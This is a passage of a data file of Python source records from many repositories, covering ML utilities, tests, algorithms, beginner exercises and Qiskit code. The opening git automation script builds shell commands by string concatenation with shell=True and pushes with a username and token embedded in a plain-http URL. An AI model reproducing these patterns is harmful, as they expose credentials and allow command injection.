e:\n print(\"Got and error\",e)\n k= [ print(j) for i,j in enumerate(output.decode('utf-8').split('\\n')) if i < 2 ]\n \n\n CMD = \" git add --all \"\n print(\"################### GIT ADD in Staging Area ###################\") \n print(\"# In ./git/index is the Staged changes are kept as binary #\") \n print(\"################### ###########################################\") \n \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n\n print(output.decode('utf-8'))\n \n\n CMD = \" git commit -m \" + \"\\\"\" + comment + \"\\\"\"\n print(\"################### GIT COMMIT in LOcal Repo ###################\") \n print(\"# Local RFepository ./git/ #\") \n print(\"################### ##############################################\") \n \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output.decode('utf-8'))\n CMD = \" git remote show origin \" \n \n print(\"############ GIT show Branch Names Remote and Local #########\") \n print(\"# It Shows the Name of the Barnch #\") \n print(\"################## ###########################################\") \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output.decode('utf-8'))\n\n \n\n CMD = \"cat .git/refs/heads/master\" \n print(\"################### GIT HEAD pointer ###################\") \n print(\"# It Shows the Head id where the checkin will be done #\") \n print(\"############# ###########################################\") \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output.decode('utf-8'))\n \n\n if username and token:\n CMD = \"git push http://\" + username + \":\"+ token + \"@github.com/sanchayana2007/sanchayana2007.github.io.git\"\n\n\n try :\n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as e:\n print(\"Got and error\",e)\n print(output)\n \n else:\n print(\"Check the Useanme or Tone in Enviroment is not set\")\n \nelse:\n print(\"Git Folder is not present.. Run from the main folder Exiting\")\n", "source": "sanchayana2007/sanchayana2007.github.io", "license": "MIT"}
+{"text": "# group_regularization.py\nimport torch\nimport transformers\n\n\ndef group_lasso(model: torch.nn.Module, pruning_method: str):\n '''\n L1 regularization of groups of weights in weight matrix to encourage sparsity \\\\\n row=True regularizes rows, row=False regularizes cols\\\\\n ignores bias, layernorm, embedding params\n '''\n reg, layer_count = 0.0, 0.0\n filter_out = [\"bias\", \"LayerNorm\", \"embed\"]\n group_dim=1\n if pruning_method == 'col':\n group_dim=0\n for name, param in model.named_parameters():\n if not any(key in name for key in filter_out): # only fc weight matrices\n # if args.pruning_metho == \"group_lasso\": # sum of L2 norms of rows of matrix\n norms = torch.norm(param, dim=group_dim)\n reg += torch.sum(norms) # / norms.numel() # /numel() reduces magnitude of the norm to a manageable size but it scales rows differently depending on layer size. Might want to remove this if bigger rows should have more weight b/c they cause more latency\n layer_count += 1.0\n return reg / layer_count\n\n\nif __name__==\"__main__\":\n model = transformers.AutoModel.from_pretrained('bert-base-uncased')\n print(group_lasso(model, True))\n# for name, param in model.named_parameters():\n# filter_out = [\"bias\", \"LayerNorm\"]\n# if not any(key in name for key in filter_out): # only fully connected layers\n# print(name)\n# print(param.shape)\n ", "source": "AlexHoffman9/transformers", "license": "Apache-2.0"}
+{"text": "import json\n\ndef convert(path:str):\n with open(path, 'r') as f:\n data = json.load(f)\n output_path = path.replace('convert', 'triplets').replace('json', 'txt')\n with open(output_path, 'w') as f:\n for ins in data:\n temp_ins = []\n for a, o in zip(ins['aspects'], ins['opinions']):\n temp_ins.append(([x for x in range(a['from'], a['to'])], [x for x in range(o['from'], o['to'])], a['polarity']))\n f.write(ins['raw_words'] + '####' + str(temp_ins) + '\\n')\n return\n\nif __name__ == '__main__':\n convert('14lap/train_convert.json')\n convert('14lap/test_convert.json')\n convert('14res/train_convert.json')\n convert('14res/test_convert.json')\n convert('15res/train_convert.json')\n convert('15res/test_convert.json')\n convert('16res/train_convert.json')\n convert('16res/test_convert.json')", "source": "MrZixi/SentiPrompt", "license": "MIT"}
+{"text": "from test_fena.test_common import test_cmd\n\ndef test_effects():\n test_cmd(\"effect @a - *\", \"effect clear @a\")\n test_cmd(\"effect @a - saturation\", \"effect clear @a minecraft:saturation\")\n test_cmd(\"effect @a + saturation\", \"effect give @a minecraft:saturation 2 0 true\")\n test_cmd(\"effect @a + saturation 1000000\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + saturation 1000000 0\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + saturation 1000000 1\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + saturation 1000000 1 true\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + saturation 1000000 1 false\", \"effect give @a minecraft:saturation 1000000 1 false\")\n\n test_cmd(\"effect @a - minecraft:*\", expect_error=True)\n test_cmd(\"effect @a - minecraft:saturation\", \"effect clear @a minecraft:saturation\")\n test_cmd(\"effect @a + minecraft:saturation\", \"effect give @a minecraft:saturation 2 0 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 0\", \"effect give @a minecraft:saturation 1000000 0 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1 true\", \"effect give @a minecraft:saturation 1000000 1 true\")\n test_cmd(\"effect @a + minecraft:saturation 1000000 1 false\", \"effect give @a minecraft:saturation 1000000 1 false\")\n\n test_cmd(\"effect @a - saturation extra_arg\", expect_error=True)\n test_cmd(\"effect @a - not_an_effect\", expect_error=True)\n test_cmd(\"effect @a + saturation -25\", expect_error=True)\n test_cmd(\"effect @a + saturation 25 -1\", expect_error=True)\n test_cmd(\"effect @a + saturation 1000000 1 not_bool\", expect_error=True)\n test_cmd(\"effect @a = invalid_operator\", expect_error=True)\n", "source": "Aquafina-water-bottle/Fena", "license": "MIT"}
+{"text": "import json\nfrom pathlib import Path\nfrom PIL import Image, UnidentifiedImageError\nfrom tempfile import TemporaryDirectory\nfrom spot_check_files.basics import CSVChecker, ImageChecker,\\\n JSONChecker, PlaintextChecker, XMLChecker\nfrom spot_check_files.checker import CheckRequest\n\n\n_TEST_CSV = \"\"\"x,x^2,x cubed in words,x^3\n1,1,one,1\n2,4,eight,8\n3,9,twenty-seven,27\n4,16,sixteen,64\n5,25,one hundred and twenty-five,125\n\"\"\"\n\n\n_TEST_JSON = \"\"\"{\"hello\": {\n \"nicely_formatted\": false, \"valid\": true,\n \"array\": [1, 2, 3, 4, 5, 6, 7, 8, 9,\n \"This is a multiline string.\\\\nHuzzah.\"]\n}\n}\"\"\"\n\n\n_TEST_XML = \"\"\"Hello there\nHow are you?I am\nnot dead (at time of writing).\"\"\"\n\n\n_IMGDIR = Path('tmp')\n\n\ndef setup_module(module):\n _IMGDIR.mkdir(exist_ok=True)\n\n\ndef test_csv_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.csv'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text(_TEST_CSV)\n res = CSVChecker().check(req)\n assert isinstance(res.recognizer, CSVChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = CSVChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('csv.png')))\n with Image.open(str(Path('tests').joinpath('csv.png'))) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_csv_missing_cols():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.csv'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('a,b,c\\n1,2')\n res = CSVChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert str(res.errors[0]) == 'Could not determine delimiter'\n\n\ndef test_tsv():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.tsv'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.thumb = True\n req.realpath.write_text(_TEST_CSV.replace(',', '\\t'))\n res = CSVChecker().check(req)\n assert isinstance(res.recognizer, CSVChecker)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('tsv.png')))\n with Image.open(str(Path('tests').joinpath('csv.png'))) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_image_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=Path('tests').joinpath('testimage.jpg'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n res = ImageChecker().check(req)\n assert isinstance(res.recognizer, ImageChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = ImageChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('image.png')))\n with Image.open(Path('tests').joinpath('image.png')) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_image_invalid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.jpg'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('garbage')\n res = ImageChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert isinstance(res.errors[0], UnidentifiedImageError)\n assert res.thumb is None\n\n\ndef test_json_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.json'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text(_TEST_JSON)\n res = JSONChecker().check(req)\n assert isinstance(res.recognizer, JSONChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = JSONChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('json.png')))\n with Image.open(Path('tests').joinpath('json.png')) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_json_invalid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.json'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('{\"garbage\": true')\n res = JSONChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert isinstance(res.errors[0], json.JSONDecodeError)\n\n\ndef test_plaintext_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.txt'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('Hello, world!\ud83d\ude00\\nNo problems here!\\n')\n res = PlaintextChecker().check(req)\n assert isinstance(res.recognizer, PlaintextChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = PlaintextChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('plaintext.png')))\n # The font I'm currently using doesn't handle emoji but I don't\n # really care right now\n with Image.open(str(Path('tests').joinpath('plaintext.png'))) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_plaintext_encoding_error():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.txt'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_bytes(\n bytes('Hello, world!', 'utf-8')\n + bytes([0xfe]) + bytes('oops', 'utf-8'))\n res = PlaintextChecker().check(req)\n assert isinstance(res.recognizer, PlaintextChecker)\n assert len(res.errors) == 1\n assert isinstance(res.errors[0], UnicodeDecodeError)\n assert res.thumb is None\n\n\ndef test_xml_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.xml'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text(_TEST_XML)\n res = XMLChecker().check(req)\n assert isinstance(res.recognizer, XMLChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = XMLChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('xml.png')))\n with Image.open(Path('tests').joinpath('xml.png')) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_xml_invalid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.xml'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('garbage')\n res = XMLChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert 'no element found' in str(res.errors[0])\n", "source": "brokensandals/spot_check_files", "license": "MIT"}
+{"text": "# Banker's Algorithm\n\nn = 5 # no. of processes / rows\nm = 4 # no. of resources / columns\n\n# Maximum matrix - denotes maximum demand of each process\n\nmaxi = [[0, 0, 1, 2],\n [1, 7, 5, 0],\n [2, 3, 5, 6],\n [0, 6, 5, 2],\n [0, 6, 5, 6]]\n\n# Allocation matrix - denotes no. of resources allocated to processes\n\nalloc = [[0, 0, 1, 2],\n\t\t [1, 0, 0, 0],\n\t\t [1, 3, 5, 4],\n\t\t [0, 6, 3, 2],\n\t\t [0, 0, 1, 4]]\n\n# Available matrix - no. of available resources of each type\n\navail = [1, 5, 2, 0]\n\n \nf = [0]*n \nans = [0]*n \nind = 0\n \nneed = [[ 0 for i in range(m)]for i in range(n)] \nfor i in range(n): \n for j in range(m): \n need[i][j] = maxi[i][j] - alloc[i][j] \ny = 0\nfor k in range(5): \n for i in range(n): \n if (f[i] == 0): \n flag = 0\n for j in range(m): \n if (need[i][j] > avail[j]): \n flag = 1\n break\n \n if (flag == 0): \n ans[ind] = i \n ind += 1\n for y in range(m): \n avail[y] += alloc[i][y] \n f[i] = 1\n \nprint(\"Following is the SAFE Sequence\") \n \nfor i in range(n - 1): \n print(\" P\", ans[i], \" ->\", sep=\"\", end=\"\") \nprint(\" P\", ans[n - 1], sep=\"\")", "source": "Nilesh-Das/dsalgo", "license": "MIT"}
+{"text": "# Dummy models.py file to allow for tests to run\nfrom django.db import models\n\nclass CCTestModel(models.Model):\n name = models.CharField(max_length=10)\n age = models.IntegerField()\n gender = models.CharField(max_length=10)\n price = models.PositiveIntegerField()\n discount = models.PositiveIntegerField()\n mfg_date = models.DateField()\n\n class Meta:\n constraints = ()\n", "source": "theju/django-check-constraints", "license": "BSD-3-Clause"}
+{"text": "import pytest\n\nfrom docarray.score import NamedScore\n\n\n@pytest.mark.parametrize(\n 'init_args', [None, dict(value=123, description='hello'), NamedScore()]\n)\n@pytest.mark.parametrize('copy', [True, False])\ndef test_construct_ns(init_args, copy):\n NamedScore(init_args, copy)\n", "source": "fastflair/docarray", "license": "Apache-2.0"}
+{"text": "import numpy as np\nimport tensorflow as tf\n\n\nclass BruteForceKNN(object):\n def __init__(self, buffersize, dimension, X):\n self.size = buffersize\n self.dimension = dimension\n # self.X = X\n self.knn = self.build_graph()\n\n def build_graph(self):\n self.X = tf.placeholder(tf.float32, shape=[None, self.dimension])\n self.query = tf.placeholder(tf.float32, shape=[None, self.dimension])\n self.k = tf.placeholder(tf.int32, shape=(), name=\"k\")\n neg_distances = tf.matmul(self.query, tf.transpose(self.X))\n # neg_distances = tf.negative(distances)\n values, indexes = tf.nn.top_k(neg_distances, self.k)\n\n return 1-values, indexes\n", "source": "MouseHu/emdqn", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n\n\"\"\"\nEquivalent kubectl commands are much less readable:\nk get ds -n kube-system kube-flannel-ds -oyaml\nk get ds -n kube-system kube-flannel-ds -o=custom-columns=IFACE:.spec.template.spec.containers[0].args\n# Not sure of the next one:\nkubectl patch ds -n kube-system kube-flannel-ds -p '{\"spec\":{\"template\":{\"spec\":{\"containers\":[{\"name\":\"kube-flannel\",\"args\":\"new args\"}]}}}}'\n\"\"\"\n\nimport sys\n\nimport yaml\n\niface_name = sys.argv[1]\n\nwith open(\"kube-flannel.yml\") as f:\n eph_yaml = list(yaml.load_all(f, Loader=yaml.FullLoader))\n\nds = [x for x in eph_yaml if x[\"kind\"] == \"DaemonSet\"][0]\ncontainer_args = ds[\"spec\"][\"template\"][\"spec\"][\"containers\"][0][\"args\"]\niface_arg = \"--iface={}\".format(iface_name)\n# Make it idempotent:\nif iface_arg not in container_args:\n container_args.append(iface_arg)\n\nwith open(\"kube-flannel.yml\", \"w\") as f:\n lded = yaml.dump_all(eph_yaml, f, default_flow_style=False)\n", "source": "ployt0/vagrank8s", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2012 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guiqwt/__init__.py for details)\n\n\"\"\"Flip/rotate test\"\"\"\n\nSHOW = True # Show test in GUI-based test launcher\n\nfrom guiqwt.widgets.fliprotate import FlipRotateDialog, FlipRotateWidget\nfrom guiqwt.tests.rotatecrop import imshow, create_test_data\n\ndef widget_test(fname, qapp):\n \"\"\"Test the rotate/crop widget\"\"\"\n array0, item = create_test_data(fname)\n widget = FlipRotateWidget(None)\n widget.set_item(item)\n widget.set_parameters(-90, True, False)\n widget.show()\n qapp.exec_()\n\ndef dialog_test(fname, interactive=True):\n \"\"\"Test the rotate/crop dialog\"\"\"\n array0, item = create_test_data(fname)\n dlg = FlipRotateDialog(None)\n dlg.set_item(item)\n if dlg.exec_():\n array1 = dlg.output_array\n imshow(array0, title=\"array0\", hold=True)\n imshow(array1, title=\"array1\")\n\n\nif __name__ == '__main__':\n from guidata import qapplication\n qapp = qapplication() # analysis:ignore\n \n widget_test(\"brain.png\", qapp)\n dialog_test(fname=\"brain.png\", interactive=True)\n ", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "# User input\nnum1=float(input(\"Enter the 1st number: \"))\nnum2=float(input(\"Enter your 2nd number: \"))\n\n# Operations the program should perform\nsum = num1 + num2\ndifference = num1 - num2\nproduct = num1 * num2\ndivide = num1 / num2\nmodulus = num1 % num2\n\n# Computer output\nprint(sum)\nprint(difference)\nprint(product)\nprint(divide)\nprint(modulus)\n", "source": "kooldamian28/koolthings", "license": "MIT"}
+{"text": "def get_column(game, col_num):\r\n ''' Get the columns '''\r\n col = col_num\r\n result = []\r\n for i in range(0, 3):\r\n temp = game[i]\r\n result.append(temp[col])\r\n return result\r\n\r\ndef print_odd_cubes_to_number(number):\r\n ''' Print odds and their cubes '''\r\n if number < 1:\r\n print('ERROR: number must be at least 1')\r\n else:\r\n for i in range(1, number + 1):\r\n if i % 2 != 0:\r\n print(i, '*', i, '*', i, '=', i ** 3)\r\n\r\ndef print_hundred(nums):\r\n ''' Rewrite with while-loop '''\r\n total = 0\r\n i = 0\r\n while total <= 100 and i < len(nums):\r\n total = nums[i] + total\r\n print(nums[i])\r\n i = i + 1\r\n\r\ndef my_enumerate(items):\r\n ''' Like enumerate() '''\r\n temp = []\r\n for i in range(0, len(items)):\r\n temp_1 = (i, items[i])\r\n temp.append(temp_1)\r\n return temp\r\n\r\ndef num_rushes(slope_height, rush_height_gain, back_sliding):\r\n ''' Use the template '''\r\n current_height = 0\r\n rushes = 0\r\n while current_height < slope_height:\r\n current_height = current_height + rush_height_gain\r\n rushes = rushes + 1\r\n if current_height >= slope_height:\r\n break\r\n else:\r\n current_height = current_height - back_sliding\r\n return rushes\r\n\r\ndef rumbletron(strings):\r\n ''' Reserve and capitalize '''\r\n temp = []\r\n for i in range(0, len(strings)):\r\n string = strings[i]\r\n string = string[::-1]\r\n string = string.upper()\r\n temp.append(string)\r\n return temp", "source": "dingaotearoa/Programming", "license": "MIT"}
+{"text": "# Turn image to animated gif using 3 animation modes: \"explode\" \"melt\" \"diffuse\"\r\n\r\nimport PIL.Image as Image\r\nimport numpy as np\r\n\r\n#------------------input parameterss---------------------------------------------------------------\r\nInputImage=\"Input.jpg\" # Input image patg\r\nOutputGifName=\"Out.gif\" # Output gif file path\r\nMode=\"melt\" #\"explode\" #Animation Modes: \"explode\" \"melt\" \"diffuse\"\r\n\r\nNumFrames=40 # Number of frames for animation\r\nduration=80 # Frame duration in millisecond\r\n\r\nReverse = False # Reverse frames order True/False\r\nPalladrum = False # Palladrum frames order True/False\r\n\r\n#---------------Read image-------------------------------------------------------------------\r\npic=Image.open(InputImage)\r\nim=np.array(pic.getdata()).reshape(pic.size[1], pic.size[0], 3)\r\nim=im.astype(np.uint8)\r\nh,w,d=im.shape\r\nprint(h,w)\r\ncx=w/2\r\ncy=h/2\r\n\r\n#------------------------------diffuse-----------------------------------------------------------------\r\ndef diffuse():\r\n ImArray=[]\r\n for i in range(NumFrames):\r\n print(\"Frame \", i, \"out of \", NumFrames)\r\n for i in range(1000):\r\n x = np.random.randint(w)\r\n y = np.random.randint(h)\r\n for jj in range(30):\r\n dx = np.random.randint(-4,4)\r\n dy = np.random.randint(-4,4)\r\n if x < cx: dx *= -1\r\n if y < cy: dy *= -1\r\n\r\n x1 = x + dx\r\n y1 = y + dy\r\n\r\n if not (x1>=w or x1<0 or y1>=h or y1<0):\r\n im[y1,x1]=im[y,x]\r\n ImArray.append(Image.fromarray(im))\r\n if Reverse: ImArray = ImArray[::-1] # Inverse frames order\r\n if Palladrum: ImArray = ImArray+ImArray[::-1] # Palladrum frames order\r\n ImArray[0].save(OutputGifName, save_all=True, append_images=ImArray[1:] , duration=duration, loop=10000)\r\n\r\n\r\n#--------------------------explode--------------------------------------------------------------------------\r\ndef explode():\r\n ImArray = []\r\n for i in range(NumFrames):\r\n print(\"Frame \", i, \"out of \", NumFrames)\r\n for i in range(1000):\r\n x = np.random.randint(w)\r\n y = np.random.randint(h)\r\n for iii in range(30):\r\n r= np.random.randint(10)\r\n dx = x-cx\r\n dy = y-cy\r\n dc = (dy**2+dx**2)**0.5\r\n dx /= dc+0.001\r\n dy /= dc+0.001\r\n\r\n dx*=r\r\n dy*=r\r\n if np.random.rand()<0.5:\r\n dx+=np.random.randint(3)-1\r\n if np.random.rand() < 0.5:\r\n dy += np.random.randint(3) - 1\r\n\r\n x1 = x + int(dx)\r\n y1 = y + int(dy)\r\n\r\n if (x1 >= w or x1 < 0 or y1 >= h or y1 < 0): break\r\n im[y1, x1] = im[y, x]\r\n\r\n ImArray.append(Image.fromarray(im))\r\n if Reverse: ImArray=ImArray[::-1] # Inverse frames order\r\n if Palladrum: ImArray = ImArray + ImArray[::-1] # Palladrum frames order\r\n ImArray[0].save(OutputGifName, save_all=True, append_images=ImArray[1:] , duration=duration, loop=10000)\r\n#-----------------------------melt--------------------------------------------------------------------------------------\r\n\r\ndef melt():\r\n ImArray = []\r\n for i in range(NumFrames):\r\n print(\"Frame \", i, \"out of \", NumFrames)\r\n for i in range(1000):\r\n x = np.random.randint(w)\r\n y = np.random.randint(h)\r\n for iii in range(30):\r\n\r\n dy = np.random.randint(6)\r\n dx=np.random.randint(-3,3)\r\n x1 = x + int(dx)\r\n y1 = y + int(dy)\r\n if (x1 >= w or x1 < 0 or y1 >= h or y1 < 0): break\r\n im[y1, x1] = im[y, x]\r\n ImArray.append(Image.fromarray(im))\r\n if Reverse: ImArray = ImArray[::-1] # Inverse frames order\r\n if Palladrum: ImArray = ImArray + ImArray[::-1] # Palladrum frames order\r\n ImArray[0].save(OutputGifName, save_all=True, append_images=ImArray[1:] , duration=duration, loop=10000)\r\n#----------------------Main----------------------------------------------------------------\r\nprint(\"mode\")\r\nif Mode==\"explode\": explode()\r\nif Mode==\"melt\": melt()\r\nif Mode==\"diffuse\": diffuse()", "source": "sagieppel/Turn-image-into-animated-gif-", "license": "Apache-2.0"}
+{"text": "# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2020, 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"The module for Quantum the Fisher Information.\"\"\"\n\nfrom typing import List, Union\n\nimport numpy as np\nfrom qiskit.circuit import QuantumCircuit, QuantumRegister, ParameterVector, ParameterExpression\nfrom qiskit.utils.arithmetic import triu_to_dense\n\nfrom ...operator_base import OperatorBase\nfrom ...list_ops.list_op import ListOp\nfrom ...list_ops.summed_op import SummedOp\nfrom ...operator_globals import I, Z, Y\nfrom ...state_fns.state_fn import StateFn\nfrom ...state_fns.circuit_state_fn import CircuitStateFn\nfrom ..circuit_gradients.lin_comb import LinComb\nfrom .circuit_qfi import CircuitQFI\n\n\nclass LinCombFull(CircuitQFI):\n r\"\"\"Compute the full Quantum Fisher Information (QFI).\n\n Given a pure, parameterized quantum state this class uses the linear combination of unitaries\n See also :class:`~qiskit.opflow.QFI`.\n \"\"\"\n\n # pylint: disable=signature-differs, arguments-differ\n def __init__(\n self,\n aux_meas_op: OperatorBase = Z,\n phase_fix: bool = True,\n ):\n \"\"\"\n Args:\n aux_meas_op: The operator that the auxiliary qubit is measured with respect to.\n For ``aux_meas_op = Z`` we compute 4Re[(d\u03c9\u27e8\u03c8(\u03c9)|)O(\u03b8)|\u03c8(\u03c9)\u3009],\n for ``aux_meas_op = -Y`` we compute 4Im[(d\u03c9\u27e8\u03c8(\u03c9)|)O(\u03b8)|\u03c8(\u03c9)\u3009], and\n for ``aux_meas_op = Z - 1j * Y`` we compute 4(d\u03c9\u27e8\u03c8(\u03c9)|)O(\u03b8)|\u03c8(\u03c9)\u3009.\n phase_fix: Whether or not to compute and add the additional phase fix term\n Re[(d\u03c9\u27e8<\u03c8(\u03c9)|)|\u03c8(\u03c9)><\u03c8(\u03c9)|(d\u03c9|\u03c8(\u03c9))>].\n Raises:\n ValueError: If the provided auxiliary measurement operator is not supported.\n \"\"\"\n super().__init__()\n if aux_meas_op not in [Z, -Y, (Z - 1j * Y)]:\n raise ValueError(\n \"This auxiliary measurement operator is currently not supported. Please choose \"\n \"either Z, -Y, or Z - 1j * Y. \"\n )\n self._aux_meas_op = aux_meas_op\n self._phase_fix = phase_fix\n\n def convert(\n self,\n operator: CircuitStateFn,\n params: Union[ParameterExpression, ParameterVector, List[ParameterExpression]],\n ) -> ListOp:\n r\"\"\"\n Args:\n operator: The operator corresponding to the quantum state :math:`|\\psi(\\omega)\\rangle`\n for which we compute the QFI.\n params: The parameters :math:`\\omega` with respect to which we are computing the QFI.\n Returns:\n A ``ListOp[ListOp]`` where the operator at position ``[k][l]`` corresponds to the matrix\n element :math:`k, l` of the QFI.\n\n Raises:\n TypeError: If ``operator`` is an unsupported type.\n \"\"\"\n # QFI & phase fix observable\n qfi_observable = StateFn(\n 4 * self._aux_meas_op ^ (I ^ operator.num_qubits), is_measurement=True\n )\n\n # Check if the given operator corresponds to a quantum state given as a circuit.\n if not isinstance(operator, CircuitStateFn):\n raise TypeError(\n \"LinCombFull is only compatible with states that are given as \"\n f\"CircuitStateFn, not {type(operator)}\"\n )\n\n # If a single parameter is given wrap it into a list.\n if isinstance(params, ParameterExpression):\n params = [params]\n elif isinstance(params, ParameterVector):\n params = params[:] # unroll to list\n\n if self._phase_fix:\n # First, the operators are computed which can compensate for a potential phase-mismatch\n # between target and trained state, i.e.\u3008\u03c8|\u2202l\u03c8\u3009\n phase_fix_observable = I ^ operator.num_qubits\n gradient_states = LinComb(aux_meas_op=(Z - 1j * Y))._gradient_states(\n operator,\n meas_op=phase_fix_observable,\n target_params=params,\n open_ctrl=False,\n trim_after_grad_gate=True,\n )\n\n # pylint: disable=unidiomatic-typecheck\n if type(gradient_states) == ListOp:\n phase_fix_states = gradient_states.oplist\n else:\n phase_fix_states = [gradient_states]\n\n # Get 4 * Re[\u3008\u2202k\u03c8|\u2202l\u03c8]\n qfi_operators = []\n # Add a working qubit\n qr_work = QuantumRegister(1, \"work_qubit\")\n state_qc = QuantumCircuit(*operator.primitive.qregs, qr_work)\n state_qc.h(qr_work)\n # unroll separately from the H gate since we need the H gate to be the first\n # operation in the data attributes of the circuit\n unrolled = LinComb._transpile_to_supported_operations(\n operator.primitive, LinComb.SUPPORTED_GATES\n )\n state_qc.compose(unrolled, inplace=True)\n\n # Get the circuits needed to compute\u3008\u2202i\u03c8|\u2202j\u03c8\u3009\n for i, param_i in enumerate(params): # loop over parameters\n qfi_ops = []\n for j, param_j in enumerate(params[i:], i):\n # Get the gates of the quantum state which are parameterized by param_i\n qfi_op = []\n param_gates_i = state_qc._parameter_table[param_i]\n for gate_i, idx_i in param_gates_i:\n grad_coeffs_i, grad_gates_i = LinComb._gate_gradient_dict(gate_i)[idx_i]\n\n # get the location of gate_i, used for trimming\n location_i = None\n for idx, (op, _, _) in enumerate(state_qc._data):\n if op is gate_i:\n location_i = idx\n break\n\n for grad_coeff_i, grad_gate_i in zip(grad_coeffs_i, grad_gates_i):\n\n # Get the gates of the quantum state which are parameterized by param_j\n param_gates_j = state_qc._parameter_table[param_j]\n for gate_j, idx_j in param_gates_j:\n grad_coeffs_j, grad_gates_j = LinComb._gate_gradient_dict(gate_j)[idx_j]\n\n # get the location of gate_j, used for trimming\n location_j = None\n for idx, (op, _, _) in enumerate(state_qc._data):\n if op is gate_j:\n location_j = idx\n break\n\n for grad_coeff_j, grad_gate_j in zip(grad_coeffs_j, grad_gates_j):\n\n grad_coeff_ij = np.conj(grad_coeff_i) * grad_coeff_j\n qfi_circuit = LinComb.apply_grad_gate(\n state_qc,\n gate_i,\n idx_i,\n grad_gate_i,\n grad_coeff_ij,\n qr_work,\n open_ctrl=True,\n trim_after_grad_gate=(location_j < location_i),\n )\n\n # create a copy of the original circuit with the same registers\n 